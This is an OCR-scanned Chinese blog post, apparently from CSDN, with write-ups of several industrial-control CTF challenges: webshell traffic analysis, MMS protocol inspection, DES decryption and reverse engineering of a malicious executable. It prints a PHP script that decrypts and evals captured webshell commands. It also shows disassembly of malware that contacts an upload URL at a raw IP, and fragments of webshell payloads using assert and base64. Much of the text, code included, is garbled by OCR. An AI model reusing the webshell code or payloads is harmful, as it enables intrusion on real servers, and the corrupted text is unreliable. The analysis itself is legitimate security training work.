20204EYL P TMk BB Z & AR GE R FEWP

BT lcafed o F 2020-11-09 22:04:08 KA o 1299 ﬁ W 11

HRLE: MERe CTF XERE: MERSE python ZRSE FRZE

B B ASOR T EJRAISCE, #AIE CC 4.0 BY-SA RN, HEIEM LR AR MA S,
ASCEER::  hitpsy/blog.csdn.net/y9203 12/article/details/109586883

4FRICE 0T
TR

oy

| CTF

4RLE0ITH

W&

Hx
#H BEE TR
# MMS 5
# H DL BRI
#H# K5 B S
## findbackdoor
## address

#H# B BT

#HE BB SO
1. BTER

EEH 2 Kphp—AE AR D R W BlpassS L, M ESE AL KIBEVLFLEH, 7% FsessionH, I [EHH
BRAESHIZ.

2. FWiresharkiT 5, BHRFEHhttpiiE, KIEEXIshell.jspf.index.php R E#AT T 5 K.
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TRE QesSFIEE el

[W[E)
Ho. Source Deptination Pratacel Length
i 59 5.936365 127.9.9.1 127.9.0.1 TCP
= P 68 5.953377 127.8.8.1 127.8.8.1 HTTP
61 5.953394 127.8.8.1 127.8.8.1 TCP

Ml Wireshark - B - HTTE 2@Fw

< S48 E6E e i s L] !
——— 66 127.0.0.1:B888 text/html 2360 bytes public .
* PP o 127.0.0.1:8080 applicationfocter-stream 8556 b:'ttes shelljsp interface lod
# NUE g0 127.0.0.1:8080 texyhtml 10 k8 shelljsp
> Inl 113 127.0.0.1:8888 text/html 10 kB shell.php
» Tri 198 127.0.0.1:8338 text/htm| 16 bytes  index.phplpass=531 879, Len: 2424
> - 204 127.0.0.1:8888 rext/html 16 bytes  index.php?pass=692
» Lij 207 127.0.0.1:8888 application/x-www-form-urlencoded 1112 bytes .index.php
212 127.0.0.1:8888 text/html 128 bytes index.php
215 127.0.0.1:8888 application/x-www-form-urlencoded 2220 bytes .index.php
242 127.0.0.1:8888 text/html| 227 kB .index.php
266 127.0.0.1:8888 application/-www-form-urlencoded 5464 bytes index.php
271 127.0.0.1:8888 vext/html| 192 bytes .index.php
340 127.0.0.1:8888 application/x-www-form-urlencoded 5504 bytes .index.php
345 127.0.0.1:8888 vext/himl 128 bytes index.php
418 127.0.0.1:8888 application/x-www-form-urlencoded 5484 bytes .index.php
423 127.0.0.1:8888 text/html 3308 bytes .index.php
i 441 127.0.0.1:8888 application/x-www-form-urlencoded 5464 bytes .index.php
0058|445 127.0.0.1:8888 text/htm 192 bytes .index.php v
26! [ 1
e XEDESE: | R __
DA Save Save M1 1) | Pekodd 1N E | Crada UL |
a0 ;

3. B AEFEhttpii B KIGET /public/.index.php?pass=531 pass6324F & 37 B i A Ty & BEHL A4 7= i 1647 bE
M.

#3315 Spass=531 & [E fFIPHPSESSID=0megcpp047qi2q4357p8ne8id6 P& f"777ad23134150e3c"

=aeqr

Time Source Destination Frotocel Length

1 59 5.936365 127.9.8.1 127.8.0.1 TCR
e 6@ 5.953377 127.8.8.1 127.8.8.1 HTTP

61 5.953394 8.0 127.8.0.1

Ml Wireshark - B - HTTP 3d5om

Ll i bod oo fod

XS

127.0.0.1:8888 vexyhaml 2360 bytes public
127.0.0.1:8080 application/octet-stream 8556 bytes shelljsp
127.0,0.1:8080 vext/himl 10kE shellpp
127,0.0.1:8888 wext/hami 10k shellphp
127.0.0.1:8888 1ewt/hmi 16 bytes  index.php?pass=531 870, Len: 2424
12700018888 text/himl 16 bytes  indexphpfpass=652
127.0.0.1:8868 application/x-www-form-urlencoded 1112 bytes index.php
127,0.0.1:8888 wext/hami 128 bytes index.php
127.0.0.1:8868 application/x-www-form-urlencoded 2220 bytes index.php
127,0.0.1:8888 text/himil 2278 .index.php
127.0.0.1:82868 application/x-www-form-urlencoded 5464 bytes index.php
127.0,0.1:8888 text/himi 152 bytes .index.php =
127.0.0.1:8868 application/x-wwe-form-urlencoded 5504 bytes index.php
127.0.0.1:8888 text/himl 128 bytes .index.php
127.0,0.1:8888 applications-vww-form-urlencoded 5484 bytes index.php
423 127.00.1:8828 text/himi 3308 bytes index.php
441 127.0,0.1:8868 application/x-ww-form-urlencoded 5464 bytes index.php
445 127.0.0.1:8888 text/htmi 182 bytes _index.php i
TEUAF: |
save || save hl1"| [ TERb ] Tl

pass=632i& [5l fIPHPSESSID=gI5g303u0a6qi74830qiucnbb0 P % &"ad8d0732eaa9f749"



I AW B ANPHPSESSIDHIE & 315 i 3 4 & PHPSESSID=g15g303u0a6qi74830qgiucnbb0, Fir A%l

passA692.

777ad2313415003¢6ET fpublic/. index. php?pass=692 HT Hilfimrim—

Content-type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; WOWG4; Trident/S.0; SLCC2;
3.5.30729; .HNET CLR 3.9.30729; Media Center PC 6.8; InfoPath.3; .NET4.8C; .META.OE)

Host: 127.9.8.1:8888

Accept: textShtml, imagefgif, image/jpeg, ®; g=.2, */*; g=.2

Connection: keep-alive

HITR/1.1 200 0K
Date: Sat, 15 Aug 2020 14:41:54 GMT

server: Apachef2.4.41 {unix} PHPS7.3.18
X-Powered-By: PHP/ST.

set-Cookie: PHPSESSIEgIngaiuﬂaﬁql?éaioqmcnm.Ipath-f
Expires: Thu, 19 Nov

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

content-Length: 16

Keep-Alive: timeouts=S, max=99

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
adsda?izeaagf?dm‘ublicj Jindex.php HTTP/1.1
content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=glSgiesudatqivagioqiucnbbo; paths/

User-Agent: Mozillaf4.@ (compatible; MSIE 7.8; Windows NT 6.1; WOWG4; Trident/5.8; SLCC2;
JHET CLR 3.08.320729; Media Center PC 6.8; InfoPath.3;

3.5.30729;
Cache-Control: no-cache

Pragma: no-cache

Host: 137.8.9.1:8888

Accept: text/html, image/gif, image/jpeg,
Connection: keep-alive

Content-Length: 1112

*; qu.2, %%

JNET4.,8C;

q=.2

4. RJE T HPTE KHT TP R B 73 £ index. php i 3C 4

1 @

TRE Qe EF S

aqaT

JHET4.8E)

MET €I

MET CI

f_|tcp.stream e 29

No. Tine

Source

Destination

Protocol

Length

199 18.4¢
< |

> Frame 198:
> Null/Loopbat
> Internet Pr¢
> Transmissior

- Hypertext Ti

> Line-based
aoee @2 ee e
oo1e 7T 60 o
ee2e 71 f5 ¢
ea3e 43 a5 1
egd4e 28 32 3
pe5e 61 74 2

M Wireshark - St - HTTP JS5ls= - .

#8 NS ERE S SR

66 127.0.0.1:8888 text/html 2360 bytes public

94  127.0.0.1:8080 application/octet-stream 8556 bytes shell.jsp

101 127.0.0.1:8080 text/html 10 kB shell.jsp

113 127.0.0.1:8888 text/html 10 kB shell.php

198 127.0.0.1:8888 text/html 16 bytes  .index.php?pass=531
204 127.0.0.1:8888 text/html 16 bytes  .index.php?pass=692
207 127.0.0.1:8888 application/x-www-form-urlencoded 1112 bytes .index.php

212 127.0.0.1:8888 text/html 128 bytes .index.php

215 127.0.0.1:8888 application/x-www-form-urlencoded 2220 bytes .index.php

242 127.0.0.1:8888 text/html 227 kB .index.php

266 127.0.0.1:8888 application/x-www-form-urlencoded 5464 bytes .index.php

271 127.0.0.1:8888 text/html 192 bytes .index.php

340 127.0.0.1:8888 application/-www-form-urlencoded 5504 bytes .index.php

345 127.0.0.1:8888 text/html 128 bytes .index.php

418 127.0.0.1:8888 application/x-www-form-urlencoded 5484 bytes .index.php

423 127.0.0.1:8888 text/html 3308 bytes .index.php

441 127.0.0.1:8888 application/x-www-form-urlencoded 5464 bytes .index.php

445 127.0.0.1:8888 text/html 192 bytes .index.php
XATRE: | r

Save Il Save All | Close “ Help

Oo6e 31 34 3a 34 31 3a 35 34 20 47 4d 54 ed @a 53 65
ae7o 77 7R RR 72 1a 76 A1 76

A1 A2 AR AL 2F 22

Qe A ruars

14:41:54 GMT: -Se
An arha/? A

5. FHZEH.index.phpff HHPHPIA BTG, B3 EE KWshell.php&rsE AMAE, A HBEARE
7t index.php, &t B A 2238 P .index php & I N 2, BIARD T



pass_all.php

<?php
$key = 'ad8d0732eaad9f749';

for($i=0;%$i<=13;%i++){
$temp = file_get contents('./.index('.$i."').php"');
$temp=openssl_decrypt($temp, "AES128", $key);
echo $temp;
$arr=explode('|',$temp);
$func=%$arr[0];
$params=$arr[1];
$params = preg_replace('/eval/', 'echo', $params);

eval($params);

?>

& E IRAGview-source:http:/localhost/bx/pass_all.php

M E B[S Beat * XA & . B [ HE 8 & statusFimsg,statusi’ [Blsuccess, msgEiEN &

18endn"cnt WAT_Ls_THIS. tae”

zowes”, “mpg” ;" lashIFtat | ROOGUAT TRy NWE INDOENGU=TRE ] O THEN 1 1] TP HMAIE "] azzert laval (hasebid_decoda U G0%rcafrk3] 1orinds lulrgek Telily
ARaL TgniLCanTas Hu'm..csjmk|:?|:wq|lu1un-|:n(\unr:rr-o,12dum TVOEUHLr RO dinL CRadex Tiog I faga.ﬂommu\.';[rum{ pewli 1CAg I ARl Chy DR L

=] wci{qhyﬁmf&urmLmJM| HOCr/ONCaZ ] bal (a6 | haRio j6H T SCRNCnsNCl Ag [ CRA I oY o | tak Golte T D0og ICARUG Inbady TVIL VYL | b3 JORE
LummclmeyumuTﬂ'm[tmrkﬂu DG 1L VN TR iR |GV U T SR pb 2 e [ v T DGR ] CA R gHCE IR ] sk o [FERIHESI! kp IHSNC LA ICAZ I CAg JFBE
1A ICAR I CRUTWROGEA P T8 | 6HE k2R 13025 Jrwg JFERTHRAE i TD0oq ICAR 1CAZT CRO TRRDSRAGS SBhen [l it TEAS ] 2Ry 4W0RLCAKDOF ) 5 KTNCLAZT CBA 16V 2igenit ICAZ 10
AR 10 18 QU TREANF TO g Ry CRERHNOerRPbG G [ U EQN DT Sng J3dpint 2k S0 0  CAg T0R] [DORJGMEL1AY EDT+ ) Fetsd [ TIGoq [ CAREQOK [CAR ICRESRVERE ] 1 104
HCRKSRVRRE ] K0 N0 T0rE Sk aly 1 FAEGRT ) TR 31 240 [ rw JPERISRKDL kp IRSNC Lag ] Cag ICAGLE I SRCnloi TalNC L AR CAg ICARS 3L 2AOVEKCR SN TaNC LA 1 CAZ T CAR TG
CETDOog ICARE B BHN 1 106 da D Cgkesnl¥' ) VIR CECgncH [T L Bv o] yiog TRER [CER JE 27 2840 130 bR L3015 I os [ORUTER (Radp il TIN0w [ CAG 1084 LR o TRERLOU SR Saca ) X I IR
] pcinL A1 CAg [ CAg 1CAR T CAgE CAg I0dy w1 CAg I CAR 1 CAG I CAGKSmNE 1 Ag L CAg 1CAG [CAR T GF y ool SEAK 1 CAg [ CAR 1CAg [CAR T CAg I ComaliB L JrelfiCLAg 1CAS [CAR I CAG I CARIC
CAgICAR ICAGICANCG IEScsDdog] CAg 1 CAg 1CAg 1 CAE] Chg ForDgoR 10Ag L CAg 1 TAS I CARCR0R ICAZ I CAg 1Cks [ CRmaikEil oy k TEog ICAR  CAg 1R VipK 1008 T IVHTDSNC 1 Agl Chg1CAg
P SBacaVhI kel L wEXMEMVs TDEwi] r-Owll [0k ] 0 T CBT0g 1 CAz I Chg 1EEwent | XN sk M1 KCR o TRERECUpOwOX [ CAg 1ECQ IR zIT80 2 L oo JER] IVFEGkgo FER- N0 1 ] v kg TR
IRbenQelt Tl Ag] CAR 1CARCF 2o TReanils JCMeOwO ] CAR T CAR T CAkS LBV ADICHLN 2d 1409 L2 S0TNE 0 rapOwlR ] CA [ CAR ICEYT1 9 baR £ Y2x L TRA TSN C LAg ICES 10V e ZligaWTy
n.CakM:-ﬁmK—:g-m‘\’.‘ull'u k1B A0 RN TS TR TG 0w [ CAg 1RO IRz =T oBp D 140 JBp | IVRE QR g o [2V4 IMMNCTBbade 120k inl | 23enlin ) Tren | CROTRR. 022
g JOKS LcpOwliC] Cag 10 [CAka ] KV AD 10pvaldoT ZhylE e Smg JG RS Lep 1 Cag T 2o KDEnK TeRC L AR ICBS [GVEc 2l g AT K CREGRVRRE ] IRCA L0V [rkg RSk ICEG JE 2T 20 380
Thdog 1A [CAR 1 R VipK 100g T 1VHTDSHC 147 [CAg 1 Caga TRl 23] 1o Leni 1K CRmcCip (SR 1 Ag LCAR ICAR TCATE Hdoa BT | [CRhIGEIbdTo [ 2mtSipem ICAT [ChgICag LCARTC
CAg ICAZ THINC] AgTCAg ICAZGHD JBGHT 25 kD 1E0g IRy 2 25BTDGog ] CAG 1CAZ ICRIVDK [ DORMOISNC L AR 1 CAR TCARTH ] L iV s1c SV ] | DgP S8 N LN RF ZRS 1R |
KI5 1N TS Y ) LW TR oGF B erdlne 2 b e T 9 166 )L VARG AT T TRy 1 L P00 CAG 1CAG [CRF TR gP SAY LNFI N ] TO8b [2er TERCLAZ ICAZ1C
A TCAR= SN, 0wl TCAR [CAR T CANC LAR ICBSD00g ] CAR THT 1 & 3V L 302 1 1 0P TR THNIN JRE DRE JLOR1KC] 2 98 | DONZ T KTDG0R 1CAR TH ] 123  SE0NRT 1 0gP SB1 TAN L

v 19 UbaNy 2016 TH ] 1e3%aarke ] AKX INPI LM P TO5: ) 2o005% T 00N Cnl | baN 0 oWk [EVuTE] 5ehe JERNACE £ 10 1 TENCRab g £ 1 g0 TR PR 2 e TR ] 2038 Ik
Rpdy i INENC Al CAS Ol JERRAGR L0 14 100w PR RGP I X LR DX UEJGkr MET VT LADK 1€ MIFNI"’LM:IEJQ‘HJIM\'N AR DG DTTENC LA LOATEOOK [ CAR IV IUN T LA 104
=1 Chr Ik 081 g LA1 90503 e 2001 TR0 16 LuDGVd Lot 1 PO TR Lulich ) bdpOw==" )  Berror_repor Lire (00 .

functlon getfafeStr (§str) |

AR A GBS 2 TIsfcat Wh@7_1s_Th15.txt
AT IsIR [8] ) 2

Wh@7_1s_Th15.txt css favicon.ico index.php js robots.txt svg web.config

P ATcat Wh@7_1s_Th15.txtix [6] i =

{"status":"c3VjY2Vzew==","msg":"ZmxhZ3tmYjk0OGQ4ZTMyNWZIM2Q5MGQzZWE 10TMzNjliZDFhMn0K"}

1#id base64 By :

{"status":"success","msg":"flag{fb948d8e325fe3d90d3ea593369ed1a2} "}

15 3lflag: flag{fb948d8e325fe3d90d3ea593369ed1a2}


mailto:Wh@7_1s_Th15.txt

Ht MMS B3 3 73

1. ATEHIR

1 PDU Type: BfF SEAL, 1byte, #FidRE, EE EEDIXITEEKO0e, RFEZFR, EFHMBRIWTHR.
0x1: ED Expedited Data, tna#iE

0x2: EA Expedited Data Acknowledgement, Il2 &l
0x4:UD, FF#E

0x5: RJ Reject, 14

0x6: AK Data Acknowledgement, ##E i\

0x7: ER TPDU Error, TPDU%%

0x8: DR Disconnect Request, KiJFiEk

0xC: DC Disconnect Confirm, Wi FF#fiik

0xD: CC Connect Confirm, #E#HiiA

OXE: CR Connect Request, #EZiER

OxF: DT Data, #iEf&%#

MUFMMSE, 57%:
initiate-RequestPDU(Jg 3-i& Rk PDU)
confirmed-RequestPDU(#iA-iE Rk PDU)
initiate-ResponsePDU(J& 31-M. & PDU)

confirmed-ResponsePDU(#ii\-5ZPDU)

2. ITHmmsHE X, fHiEmmsthiliRER

MPHE| WE) GEENY) MGG} AT TR} WIS GRSSIY) RGEOW) LRI WRNM)
AN @ 1 NRE Qe=HFE JSa0al

LICE

Ko, Tine Somrce Destination Protedsl Langth Info

| BT 249459641 192.168.142.148 152.168.142.133 MG 260 initiate-Reque:
B2B 249, 459865 192.168,142.133 192,168, 142. 148 MHS 199 initiate-Respor
B34 253.488009% 152.168,142.148 152.168,142.133 MMS 115 81 confirmed-Ri
B35 253488309 192.168,142.133 192,168, 142. 148 HHS 85 @1 confirmed-Ri
837 253.891101 192.168.142. 148 192.168.142.133 L] 123 82 confirmed-Ry
B1E 253801384 192.168,142.133 192,168, 142. 148 HHS 85 82 confirmed-Re
848 254427036 192.168.142. 148 192.168.142.133 M5 118 @3 confirmed-Ri
Bal 254.427297 192.168,142.133 152.168.142.148 MMS 85 83 confirmed-Re
B43 255.357508 192,168, 142. 148 152,168, 142.133 M5 119 24 confirmed-Rq
Ba4q 255.357730 1592.168,142.133 152.168,142.148 MMs 85 84 confirmed-Ri
853 258. 800930 192,168,142, 148 192.168,142.133 HHS 123 @5 confirmed-Ri
B854 2%58. 891207 192.168.142.133 192,168,142 . 148 HMS a5 &% confirmed-gq
B58 259688983 192,168,147, 148 192,168, 142.133 MHS 122 86 confirmed-Ri

» Frome B17: 260 bytes on wire (2889 bits), 260 bytes captured (2888 bits)

Ethernet II, Sro: WMwWare 1d:07:17 (89:0c:29:1d4:07:17), Dst: VMware 75:b2:38 (00:8c:20:75:b2:38)
Internet Protecol version 4, Src: 192.168.142.148, Dst: 192.168.142.133

Transmission Control Protocol, Src Port: 4078, Dst Port: 182, Seq: 23, Ack: 15, Len: 206

TPKT, ¥ersion: 3, Length: 206

150 8073/X.224 COTP Connection-Oriented Transport Protocol

I50 8327-1 051 Session Protocol

» 150 8833 OSI Presentation Protecol

IS0 8658-1 051 Association Control Service

> HAS



3. RIR—NEREH SRR, DTRFEHE LR

» Iransmission Lontrol Protocol, Src Port: 4¢/8, DST Port: 102,
> TPKT, Version: 3, Length: 206
v IS0 8@73/X.224 COTP Connection-Oriented Transport Protocol
Length: 2
PDU Type: DT Data (exef)
[Destination reference: @x420000]
.200 2000 = TPDU number: @xee

HAREAANHELR
initiate-RequestPDU(J& zh-i& 3k PDU)
initiate-ResponsePDU(J& 31-F. & PDU)
WE )5 T 46 1% S 0
4. [FRMERER, KIlconfirmed-RequestPDU, RILFEBAMEH AL TR

mms.domainid: I[EDRelay1

mms.itemld: LLNO$xx$xx$xx

&ﬁ ‘L‘\E% ’ ﬁﬁzﬁTCPﬁ

= -I:I‘.':l;AW—II :;;;u (P AE ] ::QI..;:I..-;H.I:I:I :;I : b Ml.nl'ullr Ll
it SRt A s A
e o
‘:’EEE:’E I.OI-!M.M}-III T 16 04F. K13 E :::E
: = DR el CeRegerat | redd (2]
e :":.-rmlnlc-:t H“":Iflc-nﬁ lisofearisale (o)
b Ll I‘lmlbw::.lpbl lt-—
¥ varbabletpecification: aeme (&)
v nme: Somabe-specific (1)
w homa o a et iV
N I, ‘\ ™, ')JL, M
METCP, RILLAFHKBIEE
] S F 1 S 1 - FEPRE - | S T1EDRelayl. . LLNBSEXSO0pTmhScdeNs. .. ...uues CH e
sssFasissia Fr P I Y R 1 - | TS IEDRelayl. . LLNOSEX$OpTmhEcdeNs. .. . vvunns Aalicsaaas
hed] P e e B e R et it s TR P i oo
i O A7, .. .20 ... " (0. . IEDRelayl..I.LHEE&iSESGHSj-ﬂ-HB... ...... I G
] a%¥7....2.8.. .".(.SBS.". . lEDRElayl.,LLNBIE?EESE?BB&;SB:},.. ...... =
e GO g age7....2.0.....% (.kes.". . Se——ttpmelurtrrrthedetopteidodederer. ... L. A B
e E et a7, ... 2.0, ... 508", . IEDRelayl. . LLNBSEXSOpTmhEcdCNs ..o cuuuuss T - B
G T G B a7, ... 2.0, ... 5 (.R0%.". . I1EDRelayl. . LLNGSEX$OpTmh$cdeNs. .. ..ouas T e S i
Sl T TEDRelayl..LLNO$DCSNamPlt$configRev. .. ....... 3.0. .,
(808", . IEDRelayl. .LLNOFEXSOPTmhIcdCNS. oo cvaesea@i@uuvrass
sl AB) R IEuRelayl. ; LLNB$D€$Namplt$configRev .......... a-da.
ob Al e
S
..*.(.808%."

ol i IEDRelay1+.LLN@SExﬁomehSCchs.., coacan skt nnzasn
LS -48) . KL IEDRelayl..LLN@$DCENamPlt$configRev... ....... a.0...
' - AL 4 TEADAT A 11 madncrdiamn]l+d candd aBas -~
Sl T TEDRelayl..LLNO$DCSNamPlt$configRev. .. ....... 3.0. .,
(808", . IEDRelayl. .LLNOFEXSOPTmhIcdCNS. oo cvaesea@i@uuvrass
sl AB) R IEuRelayl. ; LLNB$D€$Namplt$configRev .......... a-da.

S RAs TR

S

LFo(.B0%."

e (e A e 1EDRelay1..LLN@SEXﬁOmehScchs .......... o A
oo/ -.40). "R IEDRelayl..LLN@$DC$NamPlt$configRev... ....... 23.0...

' vy "W TERDAT A 1 Madnedbiamnl+28 randEd Do LA - |



A

3189y E: LLN666i52503564249
31967 Ef: LLN616732557968356]

4678 E: LLAY7sxCA9WSYrVLCbr

6. B A=A oAE e, WK I666i5250356j4249, 616732557968356). KAl Thexdnid, {HZi, jfE16
BEHRIANFEAE, BT AT B BBk,
import binascii

sl
s2

'66615250356j4249"
'6167325579683567 "

s=['a','b','c','d","e","f']

for i in range(len(s)-1):
tmp2 = sl.replace('i',s[i])
tmp2 = tmp2.replace('j',s[i+1])
print (tmp2.decode('hex'))
tmpl = s2.replace('j',s[i+1])
print (tmpl.decode('hex'))

PS D:\Code> & "D:/Program Files/Python/Python27/python.exe" d:/Code/1.py
fjRP5kBI
ag2Uyh5k
fkRP51BI
ag2Uyh51
f1RP5mBI
ag2Uyh5m
fmRP5nBI
ag2Uyh5n
fnRP50BI
ag2Uyh5o0

RIS R AT A AT B £ 15 Zlflag

fIRP5mBI

ag2Uyh5m



flag: flag{flagRP5mBI2Uyh5m}

#HEF LB X R
1. MBFTA s, KIEpyDesEH HsEAF, FE#HERK_ sbox
. & :’ : lar ;1/. r" I: ’: t-‘:l.f.fjf'\ ;/]

(14, 13, 4, 1, 2, 158, 11, 8, 3, 18, &, 12, E, %, 8, 7,
A, Ak, T 6. 16, 2,08, 1. A8: &§.32. 11, 9.5 . 3. H

4.1, 14, 8, 13,6, 2, 13, 35, 12, 9. 0, 5. A0; 5.8
15, 12, 8, 2, 4, 9,1, 7, 5, 11, 3, 14, 16, 8, &5, 13],

[15, 1, 8, 14, &, 11, 3, 4, 9, 7, 2, 13, 12, 8, 5, 18,

3,13, 4, 7,15, 2. 8, 14, 12, 8, 1, 10, &, 9. 11, 5,

8. 15..7. 11..318. 4. 15..1. 5. 8.3 6..9.3. 9% 15

3. 8,18, 1, X 15 'S5 2. 11, 8. 7. .12 6.5 14 9],
¥ S3

[18, @, 9, 14, 6, 3, 15, 5, 1, 13, 12N/ IAP 04520185

2. HXXELS Twelcome, HEDESHEZERE T, *IEIEH Municodedmtd, HE:HbinasciiZEfEigmtal LA T
EXPRIA T

# -*- coding:utf-8 -*-

import pyDes,binascii
c="a669cavde31c244d9dd2decc1f2678a4624986567b25af5d"
key="welcome'.encode()+b'\x00"

print(key)

d=pyDes.des(key, "ECB")

print(d.decrypt(binascii.unhexlify(c)))

BITERWT:

Run: des(1)

3 C:\Users\zhang\AppData\Local\Programs\Python\Python38\p
b'welcome\x88'

b'flag{IXICS2020ISBEST}\x00\x00\x00"

» 1
m o | i

Process finished with exit code @

5 1! Structure

Favorites



it K 55 B U
1. FTHMERIN12306_aux.exeXHEmETE, SUE NIRRT M4
2. IDAITIF12306_aux.exeXft, EHLREEFR

e

tetat, of Elnkinme, [const chae * hlonk 4FCHEYG

AR
il A1 AATEF Chatts b il )
4% Lieoete oF L bempmer, © dpen”) }

- 1] - wiip

FEARERE RS R

w

scALbmrmatel] Lekuma] 15];

st cF Dlnbinmn » 55

vis = e el ternaterd lonsma]13];
Ll
57 = ol
whibe {1
sl U
if [ w5}
L
LN = wak_SREDRN 4, 2)
.rlu

e e
vt mindtialing ort (]
i

LT T L T T Y DL LT
-

15 = (vold “jeil
) # w28 = Binte wansrE;
T RIRITE weh 5 W CABEIE)

3. HWAEMRIG, Kbyte 42A8F8+ 18— /M7 2 0x91

= AUYLE_SLA0TG
= @iEd;

N T H

if [ byte_4248FB )
{

da

28 twm ExOlug
vl
¥
while { ®v20 );
¥
sub SBEREA(V51);

sub_ 406748 (
Fi eDats.cfileName

vl = Sbyte 42ABFE;
if ( byte 4248F8 )

Sl - T

}
while { *v21 );

.data:@8d2A8F6 db 3ah ; 4

* | data:ee4248F7 db  12h

* |.data:@e4248F8 byte 4248F8 db @Feh ; DATA XREF: sub_4B817@+1ADTr
+data:B842A8F8 ; sub_488178+1B4to ...

* |.data:@84248F9 db 8F2h

® |.data:ee42A8FA db eFsh

* |.data:eea248FB db @Fsh

® |.data:eeaza8FC db 8Esh

® |.data:ee42a8FD db @F7h

* |.data:ee42a8FE db ]

* l.data:ee4248FF db B

4. RERAIT
PATRBILE R



« b pusbon

& uthar
FALEE 3 i _
L 8
RELET
i B ki 7 i PSoftware:
R i L 8 txt = [ Bxfd, 8xf2, Bxfd, Bxf5, Bxed, agwm
& e ey ==
i W8 External Libraries - result = 1
Uy Scratcher and Cormcler 18 for i in txt:
11 result 4= chr{i*Bx91)
12 print result
e deoypt
. Q2. Typythen.exe 0:/py_script/pyshark/decypt.py
L ]
g =
e i Process finished with exit code @
-

BRI E4H %Y. aceduf
5. XHEBEHTHEE, RIAword XM, B&FEEZLAITIT,

AT T X

i=n

EEAN T RIS
C\..\zhang\AppData\Local\Temp\Rar$D1b8108.4441%url.docx

[ m= || =

6. IDAE 7 < ACEY

Getv:ur;entnire&o;yﬁ(umé;, Souffer);
sub_409188(BBuffer, "¥s\\%s", BSuffer);
if ( luSAStartup(@x282u, BWSAData) 88 LOBYTE(WSAData.wVersion) == 2 88 HIBYTE(WSaData.wHighVersion) me 2 )

while (1)

Sleep(@x32700u) 5

if ( !InternetCheckConnectionA(“http://whois.chinaz.com®, 1lu, @)
&& !InternetCheckConnectionA(“http:/ /wew.badde.com™, 1u, 8)
&R !InternetCheckConnectionA("http://sirlagz.net”, lu, @) )

break;

sub_s87FCR(BEuTfer);
wi = fpszIng

if ( pdein )
{

do
Ty . Y}
while { *wa )3

pechlut = 48063
lrlfetbartafBnerTn  Gncefur Brechfor 30 @de

.data:@@42A9F8 pszln db 8Fsh H
.data:@e4249F8 H
.data:8a4289F9 db BESh
.data:B84289FA db B8ESh
.data:@e4289FB db 8E1lh
.data:e842A9FC db @ABh
.data:8a4289FD db 8BEh
.data:B842A9FE db 8BEh
.data:@e4289FF db eash
.data: 08424800 db @Alh
.data:08424481 db 8alh
.data:ee42a002 db 8BFh
.data:0e428883 db 8ash
.data:Be428804 db 8ash
.data:ee42a885 db eBFh
.data: 08424806 db @AZh
.data:00428807 db @AZh
.data: 88420808 db 8BFh
.data:@e42a889 db eash
.data: 08420804 db @BEh
.data:Ba428508 db 8E4h
.data:Be42888C db 8Elh
.data:ee422880 db eFDh
.data: 084 2080E db @FEh
.data:0042888F db 8Fah

.data: 88424810 db @Fsh



EXP#ESIT :

A T e _ B L
g |

i - s

1
.

| .

B Eat s [ WePE, Waf2, Bafh, BoPS, Wned, @adT)
LI

L] e i dn T

n ranwle s chreilonevL)

it

Brint rewls

T P LT L ST T

fer § dn wri:
il wri_reselt o0 cffpigeansl
W el eelreaalt

B EEZEN: http://100.44.33.8/upload
i’ﬁ])\%ﬂ ’ 'Jﬂag °

ICT R R L S W w- (N P E s

Pk A-Y-A-NED ExalE - B0 WA wEEa
ra = L] =
flag{ics3e40d8c038cb202dd30e2eeadd0e 7974}
i SR ST
f# FwiresharkEE R EH FIEK IR E
eamlms e of unded ined - asvumed i ebsls 'y . ity.phosfbe on lise «bolafbrde f3 -
ml.wumnrluy.w m-rm L
X-Forwarded For: 162,168,128,
Baferme: huus: /190, 168, 179, 245/
it 0ttt P - uon D oudend
Foglllafs. @ (compatinle; Baldveplder/T.0; +hitp:/ fu.baddu, con/vearch spider i)
179, 245
no-cache
B A 'n.{\'\\\snm\\'w "SEE™_"4_dEc™ . "OAENL\" e A L{NLY
" Q6L 2 I TaRa 385 YO F DRy 12T M TR CpETEpL PN 2 AR A VLT L JX0F 1B IR 1] el 1D 008 7 Tty g
mlmlmmtmmmwm:ul:(mmuuﬂnmwmlm:(lmm:utmwmm Wy R Rk LA
EalTRLLA X Yt 20 L DA M Ao 1 Wk 222 oo ik’ Pl i3 I
mmmmuum ke LR LkpOis i o
-.,-pma:s:j:mm:uuﬂumnhnuunm:m&? VTN HTIR L 2 t
Date: Sus, 83 Jus JREE D8:51:56 OMT B
Farver: Bpacka/2 4 13 (WindR) OpenSSi1.0.2] PHPSE.4.45 li
NePowered Byr FHR/5..45
Content-Lesgth: 158
Lostent-Type: tewt/Timl
br 1>
Wie of comitant - aidumed " * s cbsl: y 1 e Lty phod,b3 on Llse Bolifbadde 5
ETIRGYPEST fusleds faecurity. phg HTTP/1.1
User-Agest: Morillass. @ (compatinle; Balduspler/2.0) +BUTp: ) fusi baldu. con/search/splder hual)
COMEnt . Tyge . SpBLECALE DA/ x ihits Fisri. e Lemorcabed
Beferer: WOtp /OISR, UGN, 179,05
CRE R
oatent-Leagth: 1519
Lache-Costrol: ne-cache
Acmdcmdcad=arvay_map("aa". "W i e " "ALCY T W SI0Y \TB T TSEET. A _AEe" . MIMEVLL T e TRl |
“Sarw] "QE L9z TN TP IBSYHL F IR D b T S T AR A VR LRI ] JX0F 1B 1] yieael] 1D 08 7 bbby gL
BT T 7 G0 HENF s TS e 0K ZXFayINI oAl ¥ 07 IaMIT MRy KDL CGRNY 20T Ly §mil Hwie Wy 7 MM My ] LGt [
:mmlmmnﬂlnlnjm NG g ot IV £ Mty RCR L CRPAI0T TR Y Ik e ) ApcGlic TinhaTidi 1575 1 ik Y
VTl dmdlﬂ:uxl:m:! 1A
W03 el =S 26 TR PELETETY
SES.HESME slmlnmm‘:ﬂcmnmmmmsmmmmmmmmmmmmwmmmwu
FRFCIL9 ! i e "ri:mumcmsmunmmmmimmsmmiWMM|mmmsm:m
SRS SO 1984 681 P00 1 30 REL SLE0EEAERSTERAF TRASAR YL D530 T TARSLCRECTIITALE L
:smm:ﬁmmﬂulummw:mmmumzmwmmfmimmﬁmmm:mwnucutm
FORKFRC TP NTCRIE BH1 DOLARE MELAS00 8 LSMISF L Dol BRE C P IS AR F 0 135 IR O TG 1 DI 57 T 0 T 3 S LA L Tl 2060 BT S 1L DF G 24F N iR MO NE L Sl
